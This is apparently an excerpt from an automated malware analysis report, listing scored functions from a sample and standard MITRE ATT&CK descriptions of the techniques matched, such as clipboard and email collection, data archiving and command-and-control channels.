Function 004052CB Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 284
windowclipboardmemoryCOMMON

Function 0040604F Relevance: 19.5, APIs: 8, Strings: 3, Instructions: 207
stringCOMMON

Function 0040581E Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 148
filestringCOMMON

Function 00403C19 Relevance: 48.3, APIs: 32, Instructions: 345
windowstringCOMMON

Function 00403876 Relevance: 45.7, APIs: 13, Strings: 13, Instructions: 215
stringregistryCOMMON

Function 00402DEE Relevance: 26.4, APIs: 5, Strings: 10, Instructions: 182
COMMON

Function 00401767 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 145
stringtimeCOMMON

Function 0040518C Relevance: 10.6, APIs: 7, Instructions: 72
stringwindowCOMMON

Function 0040565B Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39
COMMON

Function 00406397 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36
libraryCOMMON

Function 00403027 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 161
COMMON

Function 00405C31 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 37
COMMON

Function 10001759 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 118
COMMON

Function 00405AE9 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 47
stringCOMMON

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre